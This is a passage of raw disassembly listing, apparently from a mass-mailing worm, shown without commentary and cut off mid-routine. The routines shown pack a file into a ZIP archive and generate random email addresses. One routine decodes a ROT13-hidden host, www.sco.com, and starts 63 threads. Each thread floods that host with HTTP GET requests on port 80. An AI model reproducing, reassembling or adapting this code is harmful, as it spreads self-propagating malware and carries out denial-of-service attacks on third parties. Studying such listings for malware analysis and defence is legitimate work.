  7406.         shr    esi, 8
  7407.         mov    eax, ds:dword_4A2E70[eax*4]
  7408.         xor    esi, eax
  7409.         inc    edx
  7410.         dec    edi
  7411.         jnz    short loc_4A674F
  7412.  
  7413. loc_4A6765:                ; CODE XREF: sub_4A6670+DDj
  7414.         mov    eax, esi
  7415.         pop    edi
  7416.         not    eax
  7417.         pop    esi
  7418.         pop    ebp
  7419.         retn
  7420. sub_4A6670    endp
  7421.  
  7422.  
  7423. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7424.  
  7425. ; Attributes: bp-based frame
  7426.  
  7427. sub_4A676D    proc near        ; CODE XREF: sub_4A6864+B4p
  7428.  
  7429. SystemTime    = _SYSTEMTIME ptr -10h
  7430. arg_0        = dword    ptr  8
  7431. arg_4        = dword    ptr  0Ch
  7432.  
  7433.         push    ebp
  7434.         mov    ebp, esp
  7435.         sub    esp, 10h
  7436.         lea    eax, [ebp+SystemTime]
  7437.         push    eax        ; lpSystemTime
  7438.         call    ds:GetSystemTime
  7439.         cmp    [ebp+SystemTime.wYear],    7CFh
  7440.         jb    short loc_4A678D
  7441.         cmp    [ebp+SystemTime.wYear],    7DAh
  7442.         jbe    short loc_4A6793
  7443.  
  7444. loc_4A678D:                ; CODE XREF: sub_4A676D+16j
  7445.         mov    [ebp+SystemTime.wYear],    7D4h
  7446.  
  7447. loc_4A6793:                ; CODE XREF: sub_4A676D+1Ej
  7448.         cmp    [ebp+SystemTime.wMonth], 1
  7449.         jb    short loc_4A67A1
  7450.         cmp    [ebp+SystemTime.wMonth], 0Ch
  7451.         jbe    short loc_4A67A7
  7452.  
  7453. loc_4A67A1:                ; CODE XREF: sub_4A676D+2Bj
  7454.         mov    [ebp+SystemTime.wMonth], 1
  7455.  
  7456. loc_4A67A7:                ; CODE XREF: sub_4A676D+32j
  7457.         cmp    [ebp+SystemTime.wDay], 1
  7458.         jb    short loc_4A67B5
  7459.         cmp    [ebp+SystemTime.wDay], 1Fh
  7460.         jbe    short loc_4A67BB
  7461.  
  7462. loc_4A67B5:                ; CODE XREF: sub_4A676D+3Fj
  7463.         mov    [ebp+SystemTime.wDay], 0Ah
  7464.  
  7465. loc_4A67BB:                ; CODE XREF: sub_4A676D+46j
  7466.         mov    eax, dword ptr [ebp+SystemTime.wYear]
  7467.         mov    ecx, [ebp+arg_4]
  7468.         add    eax, 0FFFFFFC4h
  7469.         shl    eax, 4
  7470.         or    eax, dword ptr [ebp+SystemTime.wMonth]
  7471.         shl    eax, 5
  7472.         or    eax, dword ptr [ebp+SystemTime.wDay]
  7473.         mov    [ecx], ax
  7474.         mov    eax, dword ptr [ebp+SystemTime.wHour]
  7475.         mov    cx, [ebp+SystemTime.wSecond]
  7476.         shl    eax, 6
  7477.         or    eax, [ebp-6]
  7478.         shr    cx, 1
  7479.         shl    eax, 5
  7480.         or    eax, ecx
  7481.         mov    ecx, [ebp+arg_0]
  7482.         mov    [ecx], ax
  7483.         leave
  7484.         retn
  7485. sub_4A676D    endp
  7486.  
  7487.  
  7488. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7489.  
  7490. ; Attributes: bp-based frame
  7491.  
  7492. sub_4A67F0    proc near        ; CODE XREF: sub_4A6864+CCp
  7493.  
  7494. var_408        = byte ptr -408h
  7495. var_8        = dword    ptr -8
  7496. var_4        = dword    ptr -4
  7497. hFile        = dword    ptr  8
  7498.  
  7499.         push    ebp
  7500.         mov    ebp, esp
  7501.         sub    esp, 408h
  7502.         push    ebx
  7503.         push    esi
  7504.         xor    esi, esi
  7505.         push    edi
  7506.         push    esi        ; dwMoveMethod
  7507.         push    esi        ; lpDistanceToMoveHigh
  7508.         push    esi        ; lDistanceToMove
  7509.         push    [ebp+hFile]    ; hFile
  7510.         call    ds:SetFilePointer
  7511.         mov    edi, ds:ReadFile
  7512.         mov    [ebp+var_8], esi
  7513.         mov    ebx, 400h
  7514.         jmp    short loc_4A6837
  7515. ; ───────────────────────────────────────────────────────────────────────────
  7516.  
  7517. loc_4A681A:                ; CODE XREF: sub_4A67F0+5Ej
  7518.         cmp    [ebp+var_4], esi
  7519.         jz    short loc_4A6850
  7520.         push    [ebp+var_4]
  7521.         lea    eax, [ebp+var_408]
  7522.         push    eax
  7523.         push    [ebp+var_8]
  7524.         call    sub_4A6670
  7525.         add    esp, 0Ch
  7526.         mov    [ebp+var_8], eax
  7527.  
  7528. loc_4A6837:                ; CODE XREF: sub_4A67F0+28j
  7529.         lea    eax, [ebp+var_4]
  7530.         push    esi
  7531.         push    eax
  7532.         lea    eax, [ebp+var_408]
  7533.         push    ebx
  7534.         push    eax
  7535.         push    [ebp+hFile]
  7536.         mov    [ebp+var_4], esi
  7537.         call    edi
  7538.         test    eax, eax
  7539.         jnz    short loc_4A681A
  7540.  
  7541. loc_4A6850:                ; CODE XREF: sub_4A67F0+2Dj
  7542.         push    esi        ; dwMoveMethod
  7543.         push    esi        ; lpDistanceToMoveHigh
  7544.         push    esi        ; lDistanceToMove
  7545.         push    [ebp+hFile]    ; hFile
  7546.         call    ds:SetFilePointer
  7547.         mov    eax, [ebp+var_8]
  7548.         pop    edi
  7549.         pop    esi
  7550.         pop    ebx
  7551.         leave
  7552.         retn
  7553. sub_4A67F0    endp
  7554.  
  7555.  
  7556. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7557.  
  7558. ; Attributes: bp-based frame
  7559.  
  7560. sub_4A6864    proc near        ; CODE XREF: sub_4A6FCD+FEp
  7561.  
  7562. var_47C        = byte ptr -47Ch
  7563. NumberOfBytesWritten= dword ptr    -7Ch
  7564. var_78        = dword    ptr -78h
  7565. var_74        = word ptr -74h
  7566. var_72        = word ptr -72h
  7567. var_70        = word ptr -70h
  7568. var_6E        = word ptr -6Eh
  7569. var_6C        = word ptr -6Ch
  7570. var_6A        = word ptr -6Ah
  7571. var_68        = dword    ptr -68h
  7572. var_64        = dword    ptr -64h
  7573. var_60        = dword    ptr -60h
  7574. var_5C        = word ptr -5Ch
  7575. var_5A        = word ptr -5Ah
  7576. var_54        = word ptr -54h
  7577. var_52        = dword    ptr -52h
  7578. var_4E        = dword    ptr -4Eh
  7579. Buffer        = dword    ptr -48h
  7580. var_44        = word ptr -44h
  7581. var_42        = word ptr -42h
  7582. var_40        = word ptr -40h
  7583. var_3E        = word ptr -3Eh
  7584. var_3C        = word ptr -3Ch
  7585. var_3A        = dword    ptr -3Ah
  7586. var_36        = dword    ptr -36h
  7587. var_32        = dword    ptr -32h
  7588. var_2E        = word ptr -2Eh
  7589. var_2C        = word ptr -2Ch
  7590. var_28        = dword    ptr -28h
  7591. var_24        = word ptr -24h
  7592. var_22        = word ptr -22h
  7593. var_20        = word ptr -20h
  7594. var_1E        = word ptr -1Eh
  7595. var_1C        = dword    ptr -1Ch
  7596. var_18        = dword    ptr -18h
  7597. var_14        = word ptr -14h
  7598. var_10        = dword    ptr -10h
  7599. hObject        = dword    ptr -0Ch
  7600. hFile        = dword    ptr -8
  7601. NumberOfBytesRead= dword ptr -4
  7602. lpFileName    = dword    ptr  8
  7603. arg_4        = dword    ptr  0Ch
  7604. lpString    = dword    ptr  10h
  7605.  
  7606.         push    ebp
  7607.         mov    ebp, esp
  7608.         sub    esp, 47Ch
  7609.         push    ebx
  7610.         push    esi
  7611.         push    edi
  7612.         xor    esi, esi
  7613.         mov    edi, 80h
  7614.         push    esi        ; hTemplateFile
  7615.         mov    ebx, ds:CreateFileA
  7616.         push    edi        ; dwFlagsAndAttributes
  7617.         push    3        ; dwCreationDisposition
  7618.         push    esi        ; lpSecurityAttributes
  7619.         push    3        ; dwShareMode
  7620.         push    80000000h    ; dwDesiredAccess
  7621.         push    [ebp+lpFileName] ; lpFileName
  7622.         call    ebx ; CreateFileA
  7623.         cmp    eax, 0FFFFFFFFh
  7624.         mov    [ebp+hFile], eax
  7625.         jz    loc_4A6A97
  7626.         cmp    eax, esi
  7627.         jz    loc_4A6A97
  7628.         push    esi        ; hTemplateFile
  7629.         push    edi        ; dwFlagsAndAttributes
  7630.         push    2        ; dwCreationDisposition
  7631.         push    esi        ; lpSecurityAttributes
  7632.         push    3        ; dwShareMode
  7633.         push    40000000h    ; dwDesiredAccess
  7634.         push    [ebp+arg_4]    ; lpFileName
  7635.         call    ebx ; CreateFileA
  7636.         mov    edi, eax
  7637.         cmp    edi, 0FFFFFFFFh
  7638.         mov    [ebp+hObject], edi
  7639.         jz    loc_4A6A92
  7640.         cmp    edi, esi
  7641.         jz    loc_4A6A92
  7642.         push    1Eh
  7643.         lea    eax, [ebp+Buffer]
  7644.         push    esi
  7645.         push    eax
  7646.         call    memset
  7647.         push    2Eh
  7648.         lea    eax, [ebp+var_78]
  7649.         push    esi
  7650.         push    eax
  7651.         call    memset
  7652.         push    16h
  7653.         lea    eax, [ebp+var_28]
  7654.         push    esi
  7655.         push    eax
  7656.         call    memset
  7657.         lea    eax, [ebp+var_3C]
  7658.         mov    [ebp+Buffer], 4034B50h
  7659.         push    eax
  7660.         lea    eax, [ebp+var_3E]
  7661.         push    eax
  7662.         mov    [ebp+var_44], 0Ah
  7663.         mov    [ebp+var_72], 0Ah
  7664.         mov    [ebp+var_42], si
  7665.         mov    [ebp+var_70], si
  7666.         mov    [ebp+var_40], si
  7667.         mov    [ebp+var_6E], si
  7668.         call    sub_4A676D
  7669.         mov    ax, [ebp+var_3E]
  7670.         push    [ebp+hFile]
  7671.         mov    [ebp+var_6C], ax
  7672.         mov    ax, [ebp+var_3C]
  7673.         mov    [ebp+var_6A], ax
  7674.         call    sub_4A67F0
  7675.         mov    ebx, ds:GetFileSize
  7676.         add    esp, 30h
  7677.         mov    [ebp+var_3A], eax
  7678.         mov    [ebp+var_68], eax
  7679.         push    esi        ; lpFileSizeHigh
  7680.         push    [ebp+hFile]    ; hFile
  7681.         call    ebx ; GetFileSize
  7682.         push    esi        ; lpFileSizeHigh
  7683.         mov    [ebp+var_36], eax
  7684.         push    [ebp+hFile]    ; hFile
  7685.         mov    [ebp+var_64], eax
  7686.         call    ebx ; GetFileSize
  7687.         push    [ebp+lpString]    ; lpString
  7688.         mov    ebx, ds:lstrlenA
  7689.         mov    [ebp+var_32], eax
  7690.         mov    [ebp+var_60], eax
  7691.         call    ebx ; lstrlenA
  7692.         mov    [ebp+var_2E], ax
  7693.         mov    [ebp+var_5C], ax
  7694.         lea    eax, [ebp+NumberOfBytesRead]
  7695.         push    esi        ; lpOverlapped
  7696.         push    eax        ; lpNumberOfBytesWritten
  7697.         lea    eax, [ebp+Buffer]
  7698.         push    1Eh        ; nNumberOfBytesToWrite
  7699.         push    eax        ; lpBuffer
  7700.         push    edi        ; hFile
  7701.         mov    edi, ds:WriteFile
  7702.         mov    [ebp+var_2C], si
  7703.         mov    [ebp+var_5A], si
  7704.         mov    [ebp+var_4E], esi
  7705.         call    edi ; WriteFile
  7706.         lea    eax, [ebp+NumberOfBytesRead]
  7707.         push    esi        ; lpOverlapped
  7708.         push    eax        ; lpNumberOfBytesWritten
  7709.         push    [ebp+lpString]    ; lpString
  7710.         call    ebx ; lstrlenA
  7711.         push    eax        ; nNumberOfBytesToWrite
  7712.         push    [ebp+lpString]    ; lpBuffer
  7713.         push    [ebp+hObject]    ; hFile
  7714.         call    edi ; WriteFile
  7715.         push    [ebp+lpString]    ; lpString
  7716.         call    ebx ; lstrlenA
  7717.         push    esi        ; dwMoveMethod
  7718.         push    esi        ; lpDistanceToMoveHigh
  7719.         add    eax, 1Eh
  7720.         push    esi        ; lDistanceToMove
  7721.         push    [ebp+hFile]    ; hFile
  7722.         mov    [ebp+var_10], eax
  7723.         call    ds:SetFilePointer
  7724.         jmp    short loc_4A69D9
  7725. ; ───────────────────────────────────────────────────────────────────────────
  7726.  
  7727. loc_4A69BA:                ; CODE XREF: sub_4A6864+194j
  7728.         cmp    [ebp+NumberOfBytesRead], esi
  7729.         jz    short loc_4A69FA
  7730.         lea    eax, [ebp+NumberOfBytesWritten]
  7731.         push    esi        ; lpOverlapped
  7732.         push    eax        ; lpNumberOfBytesWritten
  7733.         lea    eax, [ebp+var_47C]
  7734.         push    [ebp+NumberOfBytesRead]    ; nNumberOfBytesToWrite
  7735.         push    eax        ; lpBuffer
  7736.         push    [ebp+hObject]    ; hFile
  7737.         call    edi ; WriteFile
  7738.         mov    eax, [ebp+NumberOfBytesRead]
  7739.         add    [ebp+var_10], eax
  7740.  
  7741. loc_4A69D9:                ; CODE XREF: sub_4A6864+154j
  7742.         lea    eax, [ebp+NumberOfBytesRead]
  7743.         push    esi        ; lpOverlapped
  7744.         push    eax        ; lpNumberOfBytesRead
  7745.         lea    eax, [ebp+var_47C]
  7746.         push    400h        ; nNumberOfBytesToRead
  7747.         push    eax        ; lpBuffer
  7748.         push    [ebp+hFile]    ; hFile
  7749.         mov    [ebp+NumberOfBytesRead], esi
  7750.         call    ds:ReadFile
  7751.         test    eax, eax
  7752.         jnz    short loc_4A69BA
  7753.  
  7754. loc_4A69FA:                ; CODE XREF: sub_4A6864+159j
  7755.         mov    eax, [ebp+var_10]
  7756.         push    esi        ; lpOverlapped
  7757.         mov    [ebp+var_18], eax
  7758.         lea    eax, [ebp+NumberOfBytesRead]
  7759.         push    eax        ; lpNumberOfBytesWritten
  7760.         lea    eax, [ebp+var_78]
  7761.         push    2Eh        ; nNumberOfBytesToWrite
  7762.         push    eax        ; lpBuffer
  7763.         push    [ebp+hObject]    ; hFile
  7764.         mov    [ebp+var_78], 2014B50h
  7765.         mov    [ebp+var_74], 14h
  7766.         mov    [ebp+var_54], si
  7767.         mov    [ebp+var_52], 20h
  7768.         call    edi ; WriteFile
  7769.         lea    eax, [ebp+NumberOfBytesRead]
  7770.         push    esi        ; lpOverlapped
  7771.         push    eax        ; lpNumberOfBytesWritten
  7772.         push    [ebp+lpString]    ; lpString
  7773.         call    ebx ; lstrlenA
  7774.         push    eax        ; nNumberOfBytesToWrite
  7775.         push    [ebp+lpString]    ; lpBuffer
  7776.         push    [ebp+hObject]    ; hFile
  7777.         call    edi ; WriteFile
  7778.         push    [ebp+lpString]    ; lpString
  7779.         call    ebx ; lstrlenA
  7780.         mov    ecx, [ebp+var_10]
  7781.         push    esi        ; lpOverlapped
  7782.         mov    [ebp+var_28], 6054B50h
  7783.         mov    [ebp+var_24], si
  7784.         lea    eax, [ecx+eax+2Eh]
  7785.         mov    [ebp+var_22], si
  7786.         sub    eax, [ebp+var_18]
  7787.         mov    [ebp+var_20], 1
  7788.         mov    [ebp+var_1E], 1
  7789.         mov    [ebp+var_14], si
  7790.         mov    [ebp+var_1C], eax
  7791.         lea    eax, [ebp+NumberOfBytesRead]
  7792.         push    eax        ; lpNumberOfBytesWritten
  7793.         lea    eax, [ebp+var_28]
  7794.         push    16h        ; nNumberOfBytesToWrite
  7795.         push    eax        ; lpBuffer
  7796.         push    [ebp+hObject]    ; hFile
  7797.         call    edi ; WriteFile
  7798.         push    [ebp+hObject]    ; hObject
  7799.         call    ds:CloseHandle
  7800.  
  7801. loc_4A6A85:                ; CODE XREF: sub_4A6864+231j
  7802.         push    [ebp+hFile]    ; hObject
  7803.         call    ds:CloseHandle
  7804.         mov    eax, esi
  7805.         jmp    short loc_4A6A9A
  7806. ; ───────────────────────────────────────────────────────────────────────────
  7807.  
  7808. loc_4A6A92:                ; CODE XREF: sub_4A6864+57j
  7809.                     ; sub_4A6864+5Fj
  7810.         push    2
  7811.         pop    esi
  7812.         jmp    short loc_4A6A85
  7813. ; ───────────────────────────────────────────────────────────────────────────
  7814.  
  7815. loc_4A6A97:                ; CODE XREF: sub_4A6864+30j
  7816.                     ; sub_4A6864+38j
  7817.         xor    eax, eax
  7818.         inc    eax
  7819.  
  7820. loc_4A6A9A:                ; CODE XREF: sub_4A6864+22Cj
  7821.         pop    edi
  7822.         pop    esi
  7823.         pop    ebx
  7824.         leave
  7825.         retn
  7826. sub_4A6864    endp
  7827.  
  7828.  
  7829. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7830.  
  7831. ; Attributes: bp-based frame
  7832.  
  7833. sub_4A6A9F    proc near        ; CODE XREF: sub_4A6BB4+48p
  7834.  
  7835. var_214        = dword    ptr -214h
  7836. var_210        = dword    ptr -210h
  7837. var_110        = dword    ptr -110h
  7838. var_10C        = dword    ptr -10Ch
  7839. var_C        = dword    ptr -0Ch
  7840. var_8        = dword    ptr -8
  7841. var_4        = dword    ptr -4
  7842. arg_0        = dword    ptr  8
  7843. arg_4        = dword    ptr  0Ch
  7844.  
  7845.         push    ebp
  7846.         mov    ebp, esp
  7847.         sub    esp, 214h
  7848.         push    ebx
  7849.         xor    ebx, ebx
  7850.         push    esi
  7851.         push    edi
  7852.         inc    ebx
  7853.         push    6
  7854.         push    ebx
  7855.         push    2
  7856.         call    ds:WS2_32_23
  7857.         mov    esi, eax
  7858.         test    esi, esi
  7859.         jz    loc_4A6BAD
  7860.         cmp    esi, 0FFFFFFFFh
  7861.         jz    loc_4A6BAD
  7862.         mov    eax, [ebp+arg_4]
  7863.         mov    ecx, 3E8h
  7864.         cdq
  7865.         idiv    ecx
  7866.         and    [ebp+var_8], 0
  7867.         mov    [ebp+var_4], ebx
  7868.         mov    [ebp+var_C], eax
  7869.         lea    eax, [ebp+var_4]
  7870.         push    eax
  7871.         push    8004667Eh
  7872.         push    esi
  7873.         call    ds:WS2_32_10
  7874.         mov    edi, ds:WS2_32_4
  7875.         jmp    short loc_4A6B11
  7876. ; ───────────────────────────────────────────────────────────────────────────
  7877.  
  7878. loc_4A6AF9:                ; CODE XREF: sub_4A6A9F+80j
  7879.         call    ds:WS2_32_111
  7880.         cmp    eax, 2747h
  7881.         mov    [ebp+var_4], eax
  7882.         jnz    short loc_4A6B23
  7883.         push    32h        ; dwMilliseconds
  7884.         call    ds:Sleep
  7885.  
  7886. loc_4A6B11:                ; CODE XREF: sub_4A6A9F+58j
  7887.         push    10h
  7888.         push    [ebp+arg_0]
  7889.         push    esi
  7890.         call    edi
  7891.         cmp    eax, 0FFFFFFFFh
  7892.         mov    [ebp+var_4], eax
  7893.         jz    short loc_4A6AF9
  7894.         jmp    short loc_4A6B8E
  7895. ; ───────────────────────────────────────────────────────────────────────────
  7896.  
  7897. loc_4A6B23:                ; CODE XREF: sub_4A6A9F+68j
  7898.         cmp    eax, 2733h
  7899.         jnz    short loc_4A6BA6
  7900.         lea    eax, [ebp+var_C]
  7901.         mov    [ebp+var_210], esi
  7902.         push    eax
  7903.         lea    eax, [ebp+var_110]
  7904.         push    eax
  7905.         lea    eax, [ebp+var_214]
  7906.         push    eax
  7907.         lea    eax, [esi+1]
  7908.         push    0
  7909.         push    eax
  7910.         mov    [ebp+var_214], ebx
  7911.         mov    [ebp+var_10C], esi
  7912.         mov    [ebp+var_110], ebx
  7913.         call    ds:WS2_32_18
  7914.         test    eax, eax
  7915.         mov    [ebp+var_4], eax
  7916.         jz    short loc_4A6BA6
  7917.         cmp    eax, 0FFFFFFFFh
  7918.         jz    short loc_4A6BA6
  7919.         lea    eax, [ebp+var_110]
  7920.         push    eax
  7921.         push    esi
  7922.         call    WS2_32_151
  7923.         test    eax, eax
  7924.         jnz    short loc_4A6BA6
  7925.         lea    eax, [ebp+var_214]
  7926.         push    eax
  7927.         push    esi
  7928.         call    WS2_32_151
  7929.         test    eax, eax
  7930.         jz    short loc_4A6BA6
  7931.  
  7932. loc_4A6B8E:                ; CODE XREF: sub_4A6A9F+82j
  7933.         and    [ebp+var_4], 0
  7934.         lea    eax, [ebp+var_4]
  7935.         push    eax
  7936.         push    8004667Eh
  7937.         push    esi
  7938.         call    ds:WS2_32_10
  7939.         mov    eax, esi
  7940.         jmp    short loc_4A6BAF
  7941. ; ───────────────────────────────────────────────────────────────────────────
  7942.  
  7943. loc_4A6BA6:                ; CODE XREF: sub_4A6A9F+89j
  7944.                     ; sub_4A6A9F+C6j ...
  7945.         push    esi
  7946.         call    ds:WS2_32_3
  7947.  
  7948. loc_4A6BAD:                ; CODE XREF: sub_4A6A9F+1Ej
  7949.                     ; sub_4A6A9F+27j
  7950.         xor    eax, eax
  7951.  
  7952. loc_4A6BAF:                ; CODE XREF: sub_4A6A9F+105j
  7953.         pop    edi
  7954.         pop    esi
  7955.         pop    ebx
  7956.         leave
  7957.         retn
  7958. sub_4A6A9F    endp
  7959.  
  7960.  
  7961. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7962.  
  7963. ; Attributes: bp-based frame
  7964.  
  7965. sub_4A6BB4    proc near        ; CODE XREF: sub_4A6C3B+99p
  7966.                     ; DATA XREF: sub_4A6C3B+85o
  7967.  
  7968. String        = byte ptr -210h
  7969. var_10        = byte ptr -10h
  7970. dwExitCode    = dword    ptr  8
  7971.  
  7972.         push    ebp
  7973.         mov    ebp, esp
  7974.         sub    esp, 210h
  7975.         push    esi
  7976.         push    edi
  7977.         lea    eax, [ebp+String]
  7978.         push    offset aTrgUggc1_1Ubfg ; "TRG /    UGGC/1.1\r\nUbfg: jjj.fpb.pbz\r\n\r\n"
  7979.         push    eax
  7980.         call    sub_4A465E
  7981.         pop    ecx
  7982.         pop    ecx
  7983.         push    0FFFFFFFFh    ; nPriority
  7984.         call    ds:GetCurrentThread
  7985.         push    eax        ; hThread
  7986.         call    ds:SetThreadPriority
  7987.         mov    esi, [ebp+dwExitCode]
  7988.         test    esi, esi
  7989.         jnz    short loc_4A6BEF
  7990.         push    esi        ; dwExitCode
  7991.         call    ds:ExitThread
  7992.  
  7993. loc_4A6BEF:                ; CODE XREF: sub_4A6BB4+32j
  7994.         lea    edi, [ebp+var_10]
  7995.         movsd
  7996.         movsd
  7997.         movsd
  7998.         movsd
  7999.  
  8000. loc_4A6BF6:                ; CODE XREF: sub_4A6BB4+53j
  8001.                     ; sub_4A6BB4+85j
  8002.         lea    eax, [ebp+var_10]
  8003.         push    8
  8004.         push    eax
  8005.         call    sub_4A6A9F
  8006.         mov    esi, eax
  8007.         pop    ecx
  8008.         test    esi, esi
  8009.         pop    ecx
  8010.         jz    short loc_4A6BF6
  8011.         lea    eax, [ebp+String]
  8012.         push    0
  8013.         push    eax        ; lpString
  8014.         call    ds:lstrlenA
  8015.         push    eax
  8016.         lea    eax, [ebp+String]
  8017.         push    eax
  8018.         push    esi
  8019.         call    ds:WS2_32_19
  8020.         push    12Ch        ; dwMilliseconds
  8021.         call    ds:Sleep
  8022.         push    esi
  8023.         call    ds:WS2_32_3
  8024.         jmp    short loc_4A6BF6
  8025. sub_4A6BB4    endp
  8026.  
  8027.  
  8028. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8029.  
  8030. ; Attributes: bp-based frame
  8031.  
  8032. sub_4A6C3B    proc near        ; CODE XREF: sub_4A3DB0+33p
  8033.  
  8034. var_94        = byte ptr -94h
  8035. ThreadId    = dword    ptr -14h
  8036. Parameter    = word ptr -10h
  8037. var_E        = word ptr -0Eh
  8038. var_C        = dword    ptr -0Ch
  8039.  
  8040.         push    ebp
  8041.         mov    ebp, esp
  8042.         sub    esp, 94h
  8043.         push    ebx
  8044.         push    esi
  8045.         push    edi
  8046.         lea    eax, [ebp+var_94]
  8047.         push    offset aJjj_fpb_pbz ; "jjj.fpb.pbz"
  8048.         push    eax
  8049.         call    sub_4A465E
  8050.         mov    edi, ds:Sleep
  8051.         pop    ecx
  8052.         pop    ecx
  8053.         mov    ebx, 8000h
  8054.         jmp    short loc_4A6C6A
  8055. ; ───────────────────────────────────────────────────────────────────────────
  8056.  
  8057. loc_4A6C67:                ; CODE XREF: sub_4A6C3B+36j
  8058.                     ; sub_4A6C3B+49j
  8059.         push    ebx        ; dwMilliseconds
  8060.         call    edi ; Sleep
  8061.  
  8062. loc_4A6C6A:                ; CODE XREF: sub_4A6C3B+2Aj
  8063.         call    sub_4A4681
  8064.         test    eax, eax
  8065.         jz    short loc_4A6C67
  8066.         lea    eax, [ebp+var_94]
  8067.         push    eax
  8068.         call    ds:WS2_32_52
  8069.         mov    esi, eax
  8070.         test    esi, esi
  8071.         jz    short loc_4A6C67
  8072.         push    10h
  8073.         lea    eax, [ebp+Parameter]
  8074.         push    0
  8075.         push    eax
  8076.         call    memset
  8077.         mov    [ebp+Parameter], 2
  8078.         mov    eax, [esi+0Ch]
  8079.         add    esp, 0Ch
  8080.         mov    eax, [eax]
  8081.         push    50h
  8082.         mov    eax, [eax]
  8083.         mov    [ebp+var_C], eax
  8084.         call    ds:WS2_32_9
  8085.         push    3Fh
  8086.         mov    [ebp+var_E], ax
  8087.         pop    esi
  8088.  
  8089. loc_4A6CB5:                ; CODE XREF: sub_4A6C3B+93j
  8090.         lea    eax, [ebp+ThreadId]
  8091.         lea    ecx, [ebp+Parameter]
  8092.         push    eax        ; lpThreadId
  8093.         xor    eax, eax
  8094.         push    eax        ; dwCreationFlags
  8095.         push    ecx        ; lpParameter
  8096.         push    offset sub_4A6BB4 ; lpStartAddress
  8097.         push    eax        ; dwStackSize
  8098.         push    eax        ; lpThreadAttributes
  8099.         call    ds:CreateThread
  8100.         dec    esi
  8101.         jnz    short loc_4A6CB5
  8102.         lea    eax, [ebp+Parameter]
  8103.         push    eax
  8104.         call    sub_4A6BB4
  8105.         pop    edi
  8106.         pop    esi
  8107.         pop    ebx
  8108.         leave
  8109.         retn
  8110. sub_4A6C3B    endp
  8111.  
  8112.  
  8113. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8114.  
  8115.  
  8116. sub_4A6CDE    proc near        ; CODE XREF: sub_4A76D2+47p
  8117.  
  8118. arg_0        = dword    ptr  8
  8119.  
  8120.         push    ebx
  8121.         mov    ebx, [esp+arg_0]
  8122.         add    ebx, 4
  8123.         push    esi
  8124.         and    byte ptr [ebx],    0
  8125.         call    sub_4A4221
  8126.         movzx    eax, ax
  8127.         push    64h
  8128.         cdq
  8129.         pop    ecx
  8130.         idiv    ecx
  8131.         cmp    edx, 62h
  8132.         jge    short loc_4A6D44
  8133.         mov    eax, ds:dword_4A83CC
  8134.         xor    esi, esi
  8135.         test    eax, eax
  8136.         jz    short loc_4A6D44
  8137.  
  8138. loc_4A6D08:                ; CODE XREF: sub_4A6CDE+2Fj
  8139.         mov    eax, [eax]
  8140.         inc    esi
  8141.         test    eax, eax
  8142.         jnz    short loc_4A6D08
  8143.         cmp    esi, 3
  8144.         jle    short loc_4A6D44
  8145.         call    sub_4A4239
  8146.         xor    edx, edx
  8147.         xor    ecx, ecx
  8148.         div    esi
  8149.         mov    eax, ds:dword_4A83CC
  8150.         test    eax, eax
  8151.         jz    short loc_4A6D44
  8152.  
  8153. loc_4A6D28:                ; CODE XREF: sub_4A6CDE+53j
  8154.         cmp    ecx, edx
  8155.         jz    short loc_4A6D33
  8156.         mov    eax, [eax]
  8157.         inc    ecx
  8158.         test    eax, eax
  8159.         jnz    short loc_4A6D28
  8160.  
  8161. loc_4A6D33:                ; CODE XREF: sub_4A6CDE+4Cj
  8162.         test    eax, eax
  8163.         jz    short loc_4A6D44
  8164.         add    eax, 0Ah
  8165.         push    eax        ; lpString2
  8166.         push    ebx        ; lpString1
  8167.         call    ds:lstrcpyA
  8168.         jmp    short loc_4A6D9C
  8169. ; ───────────────────────────────────────────────────────────────────────────
  8170.  
  8171. loc_4A6D44:                ; CODE XREF: sub_4A6CDE+1Dj
  8172.                     ; sub_4A6CDE+28j ...
  8173.         push    edi
  8174.         call    sub_4A4221
  8175.         movzx    eax, ax
  8176.         push    3
  8177.         xor    edi, edi
  8178.         cdq
  8179.         pop    ecx
  8180.         idiv    ecx
  8181.         mov    esi, edx
  8182.         add    esi, ecx
  8183.         test    esi, esi
  8184.         jle    short loc_4A6D76
  8185.  
  8186. loc_4A6D5D:                ; CODE XREF: sub_4A6CDE+96j
  8187.         call    sub_4A4221
  8188.         movzx    eax, ax
  8189.         push    1Ah
  8190.         cdq
  8191.         pop    ecx
  8192.         idiv    ecx
  8193.         add    dl, 61h
  8194.         mov    [ebx+edi], dl
  8195.         inc    edi
  8196.         cmp    edi, esi
  8197.         jl    short loc_4A6D5D
  8198.  
  8199. loc_4A6D76:                ; CODE XREF: sub_4A6CDE+7Dj
  8200.         mov    eax, [esp+8+arg_0]
  8201.         lea    esi, [edi+eax]
  8202.         mov    byte ptr [esi+4], 40h
  8203.         call    sub_4A4221
  8204.         and    eax, 3
  8205.         add    esi, 5
  8206.         push    ds:dword_4A13EC[eax*4]
  8207.         push    esi
  8208.         call    sub_4A465E
  8209.         pop    ecx
  8210.         pop    ecx
  8211.         pop    edi
  8212.  
  8213. loc_4A6D9C:                ; CODE XREF: sub_4A6CDE+64j
  8214.         pop    esi
  8215.         pop    ebx
  8216.         retn
  8217. sub_4A6CDE    endp
  8218.  
  8219.  
  8220. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8221.  
  8222.  
  8223. sub_4A6D9F    proc near        ; CODE XREF: sub_4A76D2+55p
  8224.         push    ebx
  8225.         push    esi
  8226.         mov    ebx, eax
  8227.         call    sub_4A4221
  8228.         movzx    eax, ax
  8229.         push    64h
  8230.         cdq
  8231.         pop    ecx
  8232.         idiv    ecx
  8233.         cmp    edx, 8
  8234.         jge    short loc_4A6DF8
  8235.         push    edi
  8236.         call    sub_4A4221
  8237.         movzx    eax, ax
  8238.         push    5
  8239.         xor    esi, esi
  8240.         cdq
  8241.         pop    ecx
  8242.         idiv    ecx
  8243.         mov    edi, edx
  8244.         add    edi, 3
  8245.         test    edi, edi
  8246.         jle    short loc_4A6DED
  8247.  
  8248. loc_4A6DD0:                ; CODE XREF: sub_4A6D9F+4Cj
  8249.         call    sub_4A4221
  8250.         movzx    eax, ax
  8251.         push    1Ah
  8252.         cdq
  8253.         pop    ecx
  8254.         idiv    ecx
  8255.         add    dl, 61h
